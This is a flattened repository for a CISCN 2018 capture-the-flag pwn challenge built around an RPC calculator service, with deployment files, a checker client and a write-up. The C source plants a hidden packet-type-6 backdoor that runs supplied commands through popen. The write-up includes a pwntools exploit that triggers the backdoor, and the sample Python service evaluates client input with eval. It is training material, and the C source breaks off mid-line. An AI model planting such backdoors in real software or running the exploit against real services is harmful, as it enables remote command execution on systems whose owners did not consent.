├── checker ├── __init__.py ├── __pycache__ │ └── my_client.cpython-35.pyc ├── service_example.py ├── test_client.py └── my_client.py ├── deploy ├── bin │ ├── flag │ └── calc.c ├── docker-compose.yml ├── ctf.xinetd ├── README.md └── Dockerfile ├── attachments └── calc.rar ├── README.md ├── Write-up.md └── source └── calc.c /checker/__init__.py: -------------------------------------------------------------------------------- 1 | # -------------------------------------------------------------------------------- /deploy/bin/flag: -------------------------------------------------------------------------------- 1 | CISCN{this_is_a_sample_flag} 2 | -------------------------------------------------------------------------------- /attachments/calc.rar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sherlly/ciscn2018-pwn/HEAD/attachments/calc.rar -------------------------------------------------------------------------------- /checker/__pycache__/my_client.cpython-35.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sherlly/ciscn2018-pwn/HEAD/checker/__pycache__/my_client.cpython-35.pyc -------------------------------------------------------------------------------- /deploy/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3" 2 | services: 3 | calc: 4 | build: . 5 | restart: unless-stopped 6 | ports: 7 | - "1337:1337" 8 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## Title 2 | 3 | > CISCN2018: May be a calculator? 4 | 5 | ## Author 6 | 7 | > sherllyyang00@gmail.com 8 | 9 | ## Description 10 | 11 | > 开放服务端口为1337 12 | > 出题模板参考https://github.com/CyberPeace/ciscn2018-template/tree/master/CISCN-2018-pwn-for-players 13 | 14 | ## Category 15 | > Pwn 16 | 17 | ## Deployment 18 | > cd deploy/ 19 | > docker-compose up -d 20 | 21 | ## Flag 22 | > //In Docker Container,xxxx代表新的flag 23 | > echo xxxx > /home/ctf/flag 24 | 25 | ## Hint 26 | > 1. 计算器本身功能完善了吗? 27 | > 2. 关注协议本身 28 | > 3. backdoor了解一下 29 | 30 | ## Attachment 31 | > calc.rar 32 | 33 | ## Tool 34 | > IDA, pwntools 35 | 36 | ## Tag 37 | > backdoor 38 | -------------------------------------------------------------------------------- /deploy/ctf.xinetd: -------------------------------------------------------------------------------- 1 | service ctf 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | user = root 8 | type = UNLISTED 9 | port = 1337 10 | bind = 0.0.0.0 11 | server = /usr/sbin/chroot 12 | # replace calc to your program 13 | server_args = --userspec=1000:1000 /home/ctf ./calc 14 | banner_fail = /etc/banner_fail 15 | # safety options 16 | per_source = 10 # the maximum instances of this service per source IP address 17 | rlimit_cpu = 20 # the maximum number of CPU seconds that the service may use 18 | #rlimit_as = 1024M # the Address Space resource limit for the service 19 | #access_times = 2:00-9:00 12:00-24:00 20 | } 21 | -------------------------------------------------------------------------------- /deploy/README.md: -------------------------------------------------------------------------------- 1 | # Docker Environment 2 | 3 | > A docker repository for deploying ctf problem 4 | 5 | ## Configuration 6 | 7 | Put files to floder `bin`. They'll be copied to /home/ctf. **Update the flag** at the same time. 8 | 9 | ### Linux 10 | 11 | Change BINNAME to your binary name which under `bin` directory. 12 | 13 | ```sh 14 | ls ctf.xinetd docker-compose.yml | xargs sed -i 's/helloworld/BINNAME/g' 15 | ``` 16 | 17 | ### Mac OSX 18 | 19 | ```sh 20 | ls ctf.xinetd docker-compose.yml | xargs sed -i '' 's/helloworld/BINNAME/g' 21 | ``` 22 | 23 | ### By mannual 24 | 25 | Edit `ctf.xinetd` and `docker-compose.yml`. replace `./helloworld` to your command. 26 | 27 | You can also edit `Dockerfile, ctf.xinetd, start.sh` to custom your environment. 28 | 29 | ## Build and Run 30 | 31 | docker-compose up 32 | 33 | or 34 | 35 | docker-compose up -d 36 | -------------------------------------------------------------------------------- /Write-up.md: -------------------------------------------------------------------------------- 1 | # CISCN2018 : May be a calculator? 2 | 3 | ## **[Principle]** 4 | backdoor 5 | 6 | ## **[Environment]** 7 | Ubuntu 8 | 9 | ## **[Tools]** 10 | gdb、objdump、python、pwntools 11 | 12 | ## **[Process]** 13 | 14 | 考察RPC相关协议及预留后门,通过逆向代码逻辑可以看到在符合type为0x6时,隐藏了一个后门,在后门函数中首先对接收到的key进行检查,通过将加密后的key(加密算法为简单的异或)和一个固定字符串进行比较,相等则接收真正的payload,加密算法如下: 15 | 16 | void encrypt(char* key) 17 | { 18 | int i; 19 | int k=0; 20 | for(i=0;i<36;i++) 21 | { 22 | key[i]=(key[i]^k)%256; 23 | k+=23; 24 | } 25 | } 26 | 27 | 最终脚本如下: 28 | exp.py 29 | 30 | from pwn import * 31 | import os 32 | payload="cat flag" 33 | key="12345678-6666-2333-5555-deadbeef1234" 34 | backdoor=b'RPCM\x00\x00\x00\x0c\x00\x00\x00\x06'+p32(len(key))[::-1]+key+p32(len(payload))[::-1]+payload 35 | r = remote('127.0.0.1', 1337) 36 | r.sendline(backdoor) 37 | print r.recvline() 38 | r.close() 39 | 40 | -------------------------------------------------------------------------------- /deploy/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:16.04 2 | 3 | RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list 4 | RUN apt-get update && apt-get -y dist-upgrade 5 | RUN apt-get update && apt-get install -y lib32z1 xinetd build-essential uuid-dev 6 | 7 | RUN useradd -m ctf 8 | 9 | WORKDIR /home/ctf 10 | 11 | RUN cp -R /lib* /home/ctf 12 | RUN cp -R /usr/lib* /home/ctf 13 | 14 | RUN mkdir /home/ctf/dev 15 | RUN mknod /home/ctf/dev/null c 1 3 16 | RUN mknod /home/ctf/dev/zero c 1 5 17 | RUN mknod /home/ctf/dev/random c 1 8 18 | RUN mknod /home/ctf/dev/urandom c 1 9 19 | RUN chmod 666 /home/ctf/dev/* 20 | 21 | RUN mkdir /home/ctf/bin 22 | RUN cp /bin/sh /home/ctf/bin 23 | RUN cp /bin/ls /home/ctf/bin 24 | RUN cp /bin/cat /home/ctf/bin 25 | 26 | COPY ./ctf.xinetd /etc/xinetd.d/ctf 27 | RUN echo "Blocked by ctf_xinetd" > /etc/banner_fail 28 | 29 | 30 | COPY ./bin/ /home/ctf/ 31 | RUN g++ calc.c -s -fPIE -pie -fstack-protector-all -z noexecstack -luuid -o calc 32 | RUN rm calc.c 33 | RUN chown -R root:ctf /home/ctf 34 | RUN chmod -R 750 /home/ctf 35 | RUN chmod 740 /home/ctf/flag 36 | 37 | CMD exec /bin/bash -c "/etc/init.d/xinetd start; trap : TERM INT; sleep infinity & wait" 38 | 39 | 40 | EXPOSE 1337 41 | -------------------------------------------------------------------------------- /checker/service_example.py: -------------------------------------------------------------------------------- 1 | import struct 2 | import socket 3 | import uuid 4 | import codecs 5 | import threading 6 | 7 | DEBUG = False 8 | if DEBUG: 9 | send = socket.socket.send 10 | def send_debug(self, send_str): 11 | print('sending %s' % codecs.encode(send_str, 'hex')) 12 | return send(self, send_str) 13 | socket.socket.send = send_debug 14 | 15 | recv = socket.socket.recv 16 | def recv_debug(self, recv_len): 17 | recved = recv(self, recv_len) 18 | print('receiving %s' % codecs.encode(recved, 'hex')) 19 | return recved 20 | socket.socket.recv = recv_debug 21 | 22 | 23 | def p32(num): 24 | return struct.pack('>I', num) 25 | 26 | def p64(num): 27 | return struct.pack('>Q', num) 28 | 29 | def u32(num_byte): 30 | return struct.unpack('>I', num_byte)[0] 31 | 32 | def u64(num_byte): 33 | return struct.unpack('>Q', num_byte)[0] 34 | 35 | SERVICE_PORT = 1337 36 | MAGIC_SEND = b'RPCM' 37 | MAGIC_RECV = b'RPCN' 38 | 39 | def construct_result(result): 40 | print('result %s' % result) 41 | if type(result) == str: 42 | result = result.encode('UTF-8') 43 | print(type(result)) 44 | return MAGIC_RECV + p32(len(result) + 12 + 4) + p32(0xbeef + 3) + p32(len(result)) + \ 45 | result 46 | 47 | 48 | def handle(client_sock, queue): 49 | error_packet = MAGIC_RECV + p32(12) + p32(0xbeef + 1) 50 | retry_packet = MAGIC_RECV + p32(12) + p32(0xbeef + 2) 51 | done_packet = MAGIC_RECV + p32(12) + p32(0xbeef) 52 | 53 | starting = False 54 | 55 | while True: 56 | magic = client_sock.recv(4) 57 | print('magic %s' % magic) 58 | if magic != MAGIC_SEND: 59 | client_sock.send(error_packet) 60 | continue 61 | length = u32(client_sock.recv(4)) 62 | packet_type = u32(client_sock.recv(4)) 63 | print(packet_type) 64 | if packet_type == 1: 65 | # declare 66 | key = str(uuid.uuid4()).encode('UTF-8') 67 | print('key %s' % key) 68 | queue[key] = [] 69 | result = construct_result(key) 70 | client_sock.send(result) 71 | elif packet_type == 2: 72 | # retrieve 73 | rest = client_sock.recv(length - 12) 74 | key_len = u32(rest[:4]) 75 | rest = rest[4:] 76 | key = rest[:key_len] 77 | rest = rest[key_len:] 78 | corr_id_len = u32(rest[:4]) 79 | rest = rest[4:] 80 | corr_id = rest[:corr_id_len] 81 | print('retrieving key %s' % key) 82 | try: 83 | cur_head = queue[key] 84 | if len(cur_head) == 0: 85 | client_sock.send(retry_packet) 86 | continue 87 | if cur_head[0][0] == corr_id: 88 | result = construct_result(cur_head[0][1]) 89 | queue[key] = queue[key][1:] 90 | client_sock.send(result) 91 | else: 92 | client_sock.send(retry_packet) 93 | except KeyError: 94 | client_sock.send(error_packet) 95 | elif packet_type == 3: 96 | # call 97 | rest = client_sock.recv(length - 12) 98 | key_len = u32(rest[:4]) 99 | rest = rest[4:] 100 | key = rest[:key_len] 101 | rest = rest[key_len:] 102 | corr_id_len = u32(rest[:4]) 103 | rest = rest[4:] 104 | corr_id = rest[:corr_id_len] 105 | rest = rest[corr_id_len:] 106 | expr_len = u32(rest[:4]) 107 | rest = rest[4:] 108 | expr = rest[:expr_len] 109 | print('corr_id %s key %s expr %s' % (corr_id, key, expr)) 110 | expr_res = eval(expr.replace(b'/', b'//')) 111 | print(queue) 112 | try: 113 | queue[key].append((corr_id, str(expr_res))) 114 | client_sock.send(done_packet) 115 | except KeyError: 116 | client_sock.send(error_packet) 117 | elif packet_type == 0: 118 | print('connecting') 119 | if not starting: 120 | starting = True 121 | client_sock.send(done_packet) 122 | else: 123 | client_sock.send(error_packet) 124 | elif packet_type == 4: 125 | break 126 | else: 127 | client_sock.send(error_packet) 128 | 129 | 130 | def service_start(): 131 | queue = {} 132 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 133 | sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 134 | sock.bind(('', SERVICE_PORT)) 135 | sock.listen(5) 136 | 137 | while True: 138 | queue = {} 139 | (client_sock, addr) = sock.accept() 140 | print('accpeted') 141 | threading.Thread(target=handle, args=(client_sock, queue)).start() 142 | 143 | sock.close() 144 | 145 | service_start() 146 | -------------------------------------------------------------------------------- /checker/test_client.py: -------------------------------------------------------------------------------- 1 | import my_client 2 | import random 3 | import time 4 | 5 | SYMBOLS = [ 6 | '+', 7 | '-', 8 | '*', 9 | '/', 10 | ] 11 | 12 | def test_case(func): 13 | def inner_func(*args, **kwargs): 14 | print('running %s' % func.__name__) 15 | func(*args, **kwargs) 16 | return inner_func 17 | 18 | def rand(): 19 | #return random.randint(0, 1231211) 20 | return random.randint(0, 2333) 21 | 22 | 23 | def gen_add_expr(): 24 | return '{} + {}'.format( 25 | rand(), 26 | rand() 27 | ) 28 | 29 | 30 | def gen_random_expr(): 31 | expr = str(rand()) 32 | for i in range(random.randint(0, 10)): 33 | expr += '{} {}'.format( 34 | random.choice(SYMBOLS), 35 | rand() 36 | ) 37 | return expr 38 | 39 | 40 | @test_case 41 | def basic_test(): 42 | client = my_client.RpcClient('localhost') 43 | expr = '{} * {} + {} - {} * ({} + {})'.format( 44 | rand(), 45 | rand(), 46 | rand(), 47 | rand(), 48 | rand(), 49 | rand(), 50 | ) 51 | res = client.call(expr) 52 | assert(res == int(eval(expr))) 53 | client.close() 54 | 55 | 56 | @test_case 57 | def basic_queue_test(): 58 | client = my_client.RpcClient('localhost') 59 | expr1 = gen_add_expr() 60 | expr2 = gen_add_expr() 61 | id1 = client.call_request(expr1) 62 | id2 = client.call_request(expr2) 63 | time.sleep(3) 64 | try: 65 | client.try_retrieve(id2) 66 | assert(False) 67 | except my_client.RpcPacketUnavailableException: 68 | pass 69 | res = client.try_retrieve(id1) 70 | assert(int(res.result_bytes) == eval(expr1)) 71 | res = client.try_retrieve(id2) 72 | assert(int(res.result_bytes) == eval(expr2)) 73 | client.close() 74 | 75 | 76 | @test_case 77 | def random_queue_test(client=None): 78 | if client is None: 79 | client = my_client.RpcClient('localhost') 80 | queue = [] 81 | for i in range(random.randint(5, 20)): 82 | if random.random() < 0.25 and len(queue) > 0: 83 | time.sleep(1) 84 | cur_head = queue[0] 85 | cur_id = cur_head[0] 86 | cur_expr = cur_head[1] 87 | print(cur_expr) 88 | res = client.try_retrieve(cur_id) 89 | assert(int(res.result_bytes) == eval(cur_expr)) 90 | queue = queue[1:] 91 | else: 92 | expr = gen_random_expr() 93 | queue.append((client.call_request(expr), expr.replace('/', '//'))) 94 | while len(queue) > 0: 95 | time.sleep(1) 96 | cur_head = queue[0] 97 | cur_id = cur_head[0] 98 | cur_expr = cur_head[1] 99 | res = client.try_retrieve(cur_id) 100 | assert(int(res.result_bytes) == eval(cur_expr)) 101 | queue = queue[1:] 102 | 103 | client.close() 104 | 105 | 106 | def random_queue_stoppable_test(client=None): 107 | if client is None: 108 | client = my_client.RpcClient('localhost') 109 | queue = [] 110 | for i in range(random.randint(5, 20)): 111 | if random.random() < 0.5: 112 | yield 113 | if random.random() < 0.25 and len(queue) > 0: 114 | time.sleep(1) 115 | cur_head = queue[0] 116 | cur_id = cur_head[0] 117 | cur_expr = cur_head[1] 118 | print(cur_expr) 119 | res = client.try_retrieve(cur_id) 120 | assert(int(res.result_bytes) == eval(cur_expr)) 121 | queue = queue[1:] 122 | else: 123 | expr = gen_random_expr() 124 | queue.append((client.call_request(expr), expr.replace('/', '//'))) 125 | while len(queue) > 0: 126 | time.sleep(1) 127 | cur_head = queue[0] 128 | cur_id = cur_head[0] 129 | cur_expr = cur_head[1] 130 | res = client.try_retrieve(cur_id) 131 | assert(int(res.result_bytes) == eval(cur_expr)) 132 | queue = queue[1:] 133 | 134 | client.close() 135 | 136 | 137 | @test_case 138 | def seperated_provider_test(): 139 | client1 = my_client.RpcClient('localhost') 140 | client2 = my_client.RpcClient('localhost') 141 | random_queue_test(client1) 142 | random_queue_test(client2) 143 | 144 | 145 | @test_case 146 | def crossed_provider_test(): 147 | client1 = my_client.RpcClient('localhost') 148 | client2 = my_client.RpcClient('localhost') 149 | test1 = random_queue_stoppable_test(client1) 150 | test2 = random_queue_stoppable_test(client2) 151 | next(test1) 152 | next(test2) 153 | 154 | stop1 = False 155 | stop2 = False 156 | while not stop1 or not stop2: 157 | if not stop1: 158 | try: 159 | print('executing thread1') 160 | next(test1) 161 | except StopIteration: 162 | stop1 = True 163 | if not stop2: 164 | try: 165 | print('executing thread2') 166 | next(test2) 167 | except StopIteration: 168 | stop2 = True 169 | 170 | @test_case 171 | def service_test(): 172 | client = my_client.RpcClient('localhost') 173 | key = "1234567" 174 | try: 175 | client.try_backdoor(key) 176 | except my_client.RpcPacketParseException: 177 | assert(False) 178 | client.close() 179 | 180 | 181 | def test_all(): 182 | basic_test() 183 | basic_queue_test() 184 | random_queue_test() 185 | seperated_provider_test() 186 | crossed_provider_test() 187 | service_test() 188 | 189 | if __name__ == '__main__': 190 | test_all() 191 | -------------------------------------------------------------------------------- /checker/my_client.py: -------------------------------------------------------------------------------- 1 | import uuid 2 | import socket 3 | import struct 4 | import codecs 5 | 6 | DEBUG = False 7 | if DEBUG: 8 | send = socket.socket.send 9 | def send_debug(self, send_str): 10 | print('sending %s' % codecs.encode(send_str, 'hex')) 11 | return send(self, send_str) 12 | socket.socket.send = send_debug 13 | 14 | recv = socket.socket.recv 15 | def recv_debug(self, recv_len): 16 | recved = recv(self, recv_len) 17 | print('receiving %s' % codecs.encode(recved, 'hex')) 18 | return recved 19 | socket.socket.recv = recv_debug 20 | 21 | def p32(num): 22 | return struct.pack('>I', num) 23 | 24 | def p64(num): 25 | return struct.pack('>Q', num) 26 | 27 | def u32(num_byte): 28 | return struct.unpack('>I', num_byte)[0] 29 | 30 | def u64(num_byte): 31 | return struct.unpack('>Q', num_byte)[0] 32 | 33 | 34 | SERVICE_PORT = 1337 35 | MAGIC_SEND = b'RPCM' 36 | MAGIC_RECV = B'RPCN' 37 | 38 | class RpcConnectionException(Exception): 39 | pass 40 | 41 | 42 | class RpcPacket(object): 43 | def __init__(self): 44 | self.magic = MAGIC_SEND 45 | self.packet_type = p32(0) 46 | self.length = 12 47 | 48 | def into(self): 49 | return self.magic + p32(self.length) + self.packet_type 50 | 51 | 52 | # Requests 53 | class RpcConnectPacket(RpcPacket): 54 | pass 55 | 56 | 57 | class RpcDeclarePacket(RpcPacket): 58 | """declares receiving queue 59 | """ 60 | def __init__(self): 61 | super().__init__() 62 | self.packet_type = p32(1) 63 | 64 | 65 | class RpcRetrievePacket(RpcPacket): 66 | """retrieves a message from receiving queue, 67 | if message is not ours, ignore, else pop it 68 | """ 69 | def __init__(self, route_key, corr_id): 70 | super().__init__() 71 | self.packet_type = p32(2) 72 | self.route_key = route_key.encode('UTF-8') 73 | self.corr_id = corr_id.encode('UTF-8') 74 | self.length += 8 + len(self.route_key) + len(self.corr_id) 75 | 76 | def into(self): 77 | return RpcPacket.into(self) + \ 78 | p32(len(self.route_key)) + \ 79 | self.route_key + \ 80 | p32(len(self.corr_id)) + \ 81 | self.corr_id 82 | 83 | 84 | class RpcBackdoorPacket(RpcPacket): 85 | def __init__(self, route_key): 86 | super().__init__() 87 | self.packet_type = p32(6) 88 | self.route_key = route_key.encode('UTF-8') 89 | self.length += 8 + len(self.route_key) 90 | 91 | def into(self): 92 | return RpcPacket.into(self) + \ 93 | p32(len(self.route_key)) + \ 94 | self.route_key 95 | 96 | class RpcCallPacket(RpcPacket): 97 | """requests for an expression calculation call 98 | """ 99 | def __init__(self, expr, corr_id, reply_to): 100 | super().__init__() 101 | self.packet_type = p32(3) 102 | self.expr = expr.encode('UTF-8') 103 | self.reply_to = reply_to.encode('UTF-8') 104 | self.corr_id = corr_id.encode('UTF-8') 105 | self.length += 12 + len(self.expr) + len(self.reply_to) + len(self.corr_id) 106 | 107 | def into(self): 108 | return RpcPacket.into(self) + \ 109 | p32(len(self.reply_to)) + \ 110 | self.reply_to + \ 111 | p32(len(self.corr_id)) + \ 112 | self.corr_id + \ 113 | p32(len(self.expr)) + \ 114 | self.expr 115 | 116 | 117 | class RpcClosePacket(RpcPacket): 118 | def __init__(self): 119 | super().__init__() 120 | self.packet_type = p32(4) 121 | 122 | 123 | # Replys 124 | class RpcPacketParseException(Exception): 125 | pass 126 | 127 | class RpcPacketUnavailableException(Exception): 128 | pass 129 | 130 | 131 | class RpcReplyPacket(RpcPacket): 132 | def __init__(self): 133 | super().__init__() 134 | self.magic = MAGIC_RECV 135 | self.packet_type = p32(0xbeef) 136 | 137 | def from_bytes(self, conn): 138 | reply_bytes = conn.recv(4) 139 | if not reply_bytes.startswith(MAGIC_RECV): 140 | raise RpcPacketParseException('invalid reply message header') 141 | 142 | reply_bytes = conn.recv(4) 143 | length = u32(reply_bytes) 144 | 145 | reply_bytes = conn.recv(length - 8) 146 | if not reply_bytes.startswith(self.packet_type) and \ 147 | not reply_bytes.startswith(p32(0xbeef + 2)): 148 | raise RpcPacketParseException('invalid packet type') 149 | elif reply_bytes.startswith(p32(0xbeef + 2)): 150 | raise RpcPacketUnavailableException('not ready') 151 | 152 | return reply_bytes[4:] 153 | 154 | 155 | class RpcReplyDonePacket(RpcReplyPacket): 156 | pass 157 | 158 | 159 | class RpcReplyErrorPacket(RpcReplyPacket): 160 | def __init__(self): 161 | super().__init__() 162 | self.packet_type = p32(0xbeef + 1) 163 | 164 | 165 | class RpcReplyUnavailablePacket(RpcReplyPacket): 166 | def __init__(self): 167 | super().__init__() 168 | self.packet_type = p32(0xbeef + 2) 169 | 170 | 171 | class RpcReplyResultPacket(RpcReplyPacket): 172 | def __init__(self): 173 | super().__init__() 174 | self.packet_type = p32(0xbeef + 3) 175 | self.result_bytes = '' 176 | 177 | def from_bytes(self, conn): 178 | rest = super().from_bytes(conn) 179 | result_str_len = u32(rest[:4]) 180 | rest = rest[4:] 181 | if len(rest) != result_str_len: 182 | raise RpcPacketParseException('invalid result string length') 183 | self.result_bytes = rest 184 | 185 | 186 | class RpcConnection(object): 187 | def __init__(self, host, port): 188 | self.conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 189 | self.conn.connect((host, port)) 190 | self.send_expect(RpcConnectPacket().into(), RpcReplyDonePacket().into()) 191 | 192 | def send_expect(self, msg, expecting): 193 | send_len = self.conn.send(msg) 194 | if send_len != len(msg): 195 | raise RpcConnectionException('send message not complete') 196 | recved = self.conn.recv(len(expecting)) 197 | if recved != expecting: 198 | raise RpcConnectionException( 199 | 'expecting %s got %s' % (codecs.encode(expecting, 'hex'), codecs.encode(msg, 'hex')) 200 | ) 201 | 202 | def send_with_result(self, msg): 203 | send_len = self.conn.send(msg) 204 | if send_len != len(msg): 205 | raise RpcConnectionException('send message not complete') 206 | result_packet = RpcReplyResultPacket() 207 | result_packet.from_bytes(self.conn) 208 | return result_packet 209 | 210 | def close(self): 211 | self.conn.send(RpcClosePacket().into()) 212 | self.conn.close() 213 | 214 | 215 | class RpcClient(object): 216 | def __init__(self, host, reply_to=None): 217 | self.conn = RpcConnection(host, SERVICE_PORT) 218 | if reply_to is None: 219 | reply_to_queue = self.conn.send_with_result(RpcDeclarePacket().into()) 220 | self.reply_to = reply_to_queue.result_bytes.decode('UTF-8') 221 | else: 222 | self.reply_to = reply_to 223 | 224 | def call_request(self, expr): 225 | corr_id = str(uuid.uuid4()) 226 | self.conn.send_expect( 227 | RpcCallPacket(expr, corr_id, self.reply_to).into(), 228 | RpcReplyDonePacket().into() 229 | ) 230 | return corr_id 231 | 232 | def try_retrieve(self, corr_id): 233 | return self.conn.send_with_result(RpcRetrievePacket(self.reply_to, corr_id).into()) 234 | 235 | def try_backdoor(self, key): 236 | return self.conn.send_expect( 237 | RpcBackdoorPacket(key).into(), 238 | RpcReplyUnavailablePacket().into() 239 | ) 240 | 241 | def block_wait_result(self, corr_id): 242 | while True: 243 | try: 244 | res = self.try_retrieve(corr_id) 245 | except RpcPacketUnavailableException: 246 | continue 247 | break 248 | return res 249 | 250 | 251 | def call(self, expr): 252 | corr_id = self.call_request(expr) 253 | res = self.block_wait_result(corr_id) 254 | return int(res.result_bytes) 255 | 256 | def close(self): 257 | self.conn.close() 258 | -------------------------------------------------------------------------------- /source/calc.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | 19 | #define BUF_SIZE 0x100 20 | #define LENGTH 100 21 | 22 | using namespace std; 23 | 24 | typedef unsigned char byte; 25 | 26 | typedef struct { 27 | int top; 28 | long long pool[LENGTH]; 29 | } stack; 30 | 31 | typedef struct Data{ 32 | string corr_id; 33 | string res; 34 | } Data; 35 | 36 | typedef queue Q; 37 | typedef map MQ; 38 | 39 | map::iterator it_find; 40 | 41 | byte RECV_MAGIC[4]={'R','P','C','M'}; 42 | char* EVIL_INS=(char*)"1%\x1dqiE\xbd\x99\x95\xf9\xd0\xcb\"\x06pjC\xb4\xb3\x80\xf9\xd6\xcf> 24) & 0xff); 48 | result[1] = (byte)((value >> 16) & 0xff); 49 | result[2] = (byte)((value >> 8) & 0xff); 50 | result[3] = (byte)(value & 0xff); 51 | return result; 52 | } 53 | 54 | char* StrTrim(char* pStr) 55 | { 56 | char *pTmp = (char*)malloc((strlen(pStr)+1)*sizeof(char)); 57 | memset(pTmp,0,strlen(pStr)+1); 58 | int mark = 0; 59 | int i; 60 | for (i = 0; i < strlen(pStr); i++) 61 | { 62 | if (pStr[i] != ' ') 63 | { 64 | pTmp[mark] = pStr[i]; 65 | mark++; 66 | } 67 | } 68 | pTmp[mark] = '\x00'; 69 | return pTmp; 70 | } 71 | 72 | int myatoi(char* buf) { 73 | int sum = 0; 74 | while (*buf) { 75 | sum = sum * 10 + (*buf - '0'); 76 | buf++; 77 | } 78 | return sum; 79 | } 80 | 81 | int read_str(char* buf, int n) { 82 | int t = read(0, buf, n-1); 83 | if (buf[t - 1] == '\n') { 84 | buf[t - 1] = '\x00'; 85 | } 86 | buf[t]='\x00'; 87 | return t; 88 | } 89 | int input_pass(char* buf, int size) { 90 | int ret = 1; 91 | int i; 92 | for (i = 0; i < size; i++) { 93 | char c = buf[i]; 94 | if (!((c >= '0' && c <= '9') || c == '+' || c == '-' || c == '*' || c == '/' || c == '\x00' || c == '(' || c == ')')) { 95 | ret = 0; 96 | break; 97 | } 98 | } 99 | for (i = 0; i < size-1; i=i+2) { 100 | char c1 = buf[i]; 101 | char c2 = buf[i+1]; 102 | if(c1 == '+' || c1 == '-' || c1 == '*' || c1 == '/') 103 | { 104 | if(!(c2 >= '0' && c2 <= '9')) 105 | ret = 0; 106 | break; 107 | } 108 | if(c2 == '+' || c2 == '-' || c2 == '*' || c2 == '/') 109 | { 110 | if(!(c1 >= '0' && c1 <= '9')) 111 | ret = 0; 112 | break; 113 | } 114 | } 115 | return ret; 116 | } 117 | 118 | void push(stack* s, int value) { 119 | if (s->top >= 0) { 120 | s->top--; 121 | s->pool[s->top] = value; 122 | } 123 | } 124 | 125 | int priority(int a) { 126 | int ret; 127 | switch (a) { 128 | case '(': 129 | ret = 5; 130 | break; 131 | case '*': 132 | case '/': 133 | ret = 4; 134 | break; 135 | case '+': 136 | case '-': 137 | ret = 3; 138 | break; 139 | case ')': 140 | ret=2; 141 | break; 142 | case 0: 143 | ret = 1; 144 | break; 145 | case -1: 146 | ret = 0; 147 | break; 148 | } 149 | return ret; 150 | } 151 | 152 | void deal_data(stack* array, stack* opt) { 153 | char c = opt->pool[opt->top]; 154 | opt->top++; 155 | long long a = array->pool[array->top]; 156 | array->top++; 157 | long long b = array->pool[array->top]; 158 | switch (c) { 159 | case '+': 160 | array->pool[array->top] = a + b; 161 | break; 162 | case '-': 163 | array->pool[array->top] = b - a; 164 | break; 165 | case '*': 166 | array->pool[array->top] = a * b; 167 | break; 168 | case '/': 169 | if (a != 0) 170 | array->pool[array->top] = b / a; 171 | else 172 | array->pool[array->top] = 0xFFFFFFFF; 173 | break; 174 | default: 175 | break; 176 | } 177 | } 178 | 179 | int calc(char* expr, char* result) 180 | { 181 | char *temp, *str; 182 | struct { 183 | char dest[BUF_SIZE]; 184 | char buf[BUF_SIZE]; 185 | stack opt; 186 | stack array; 187 | } var; 188 | var.array.top = LENGTH; 189 | var.opt.top = LENGTH; 190 | push(&var.opt, 0xFFFFFFFF); 191 | char* tmp = StrTrim(expr); 192 | memset(var.buf,0,BUF_SIZE); 193 | memcpy(var.buf,tmp,strlen(tmp)+1); 194 | int size = strlen(tmp)+1; 195 | if (!input_pass(var.buf, strlen(var.buf))) { 196 | return -1; 197 | } 198 | 199 | str = var.buf; 200 | while (str - var.buf < size) 201 | { 202 | temp = var.dest; 203 | while (str - var.buf < size && *str >= '0' && *str <= '9') { 204 | *temp = *str; 205 | temp++; 206 | str++; 207 | } 208 | *temp = '\x00'; 209 | if (*var.dest) { 210 | int num = myatoi(var.dest); 211 | push(&var.array, num); 212 | } 213 | while (1) { 214 | if ( var.opt.pool[var.opt.top] == '(' || priority(var.opt.pool[var.opt.top]) < priority((int)*str)) { 215 | if(*str != ')') 216 | push(&var.opt, (int)*str); 217 | else 218 | var.opt.top++; 219 | break; 220 | } else { 221 | deal_data(&var.array, &var.opt); 222 | } 223 | } 224 | if (*str == '\x00') { 225 | break; 226 | } 227 | str++; 228 | } 229 | sprintf(result, "%lld", var.array.pool[var.array.top]); 230 | return 0; 231 | } 232 | 233 | 234 | char* construct_result(char* key) 235 | { 236 | int length = strlen(key); 237 | char* packet = (char*)malloc((length+12+4+1)*sizeof(char)); 238 | memset(packet,0,length+12+4+1); 239 | memcpy(packet, (byte*)"RPCN", 4); 240 | memcpy(packet+4, (byte*)p32(length+12+4), 4); 241 | memcpy(packet+8, (byte*)"\x00\x00\xbe\xf2", 4); 242 | memcpy(packet+12, (byte*)p32(length), 4); 243 | memcpy(packet+16, (byte*)key, length); 244 | return packet; 245 | } 246 | 247 | int magiccmp(byte b1[4], byte b2[4]) 248 | { 249 | int i; 250 | for(i = 0; i < 4;i++) 251 | { 252 | if(b1[i]!=b2[i]) 253 | return 1; 254 | } 255 | return 0; 256 | } 257 | 258 | void encrypt(char* key) 259 | { 260 | int i; 261 | int k=0; 262 | for(i=0;i<36;i++) 263 | { 264 | key[i]=(key[i]^k)%256; 265 | k+=23; 266 | } 267 | } 268 | 269 | int bytecmp(char* a,char* b) 270 | { 271 | int length = strlen(b); 272 | int i; 273 | for(i=0;i22) 311 | { 312 | write(STDOUT_FILENO, retry_packet, 12); 313 | return -1; 314 | } 315 | read(sock,cmd, cmd_len); 316 | 317 | FILE* fp = NULL; 318 | char* output = (char*)malloc(50); 319 | memset(output,0,50); 320 | 321 | if ((fp = popen(cmd, "r")) != NULL) 322 | { 323 | fgets(output, 50, fp); 324 | write(STDOUT_FILENO, output, strlen(output)); 325 | pclose(fp); 326 | } 327 | else 328 | { 329 | write(STDOUT_FILENO, retry_packet, 12); 330 | } 331 | return 0; 332 | } 333 | 334 | 335 | void handle(int sockConn, MQ mq) 336 | { 337 | int starting = 0; 338 | const char* error_packet="RPCN\x00\x00\x00\x0c\x00\x00\xbe\xf0"; 339 | const char* 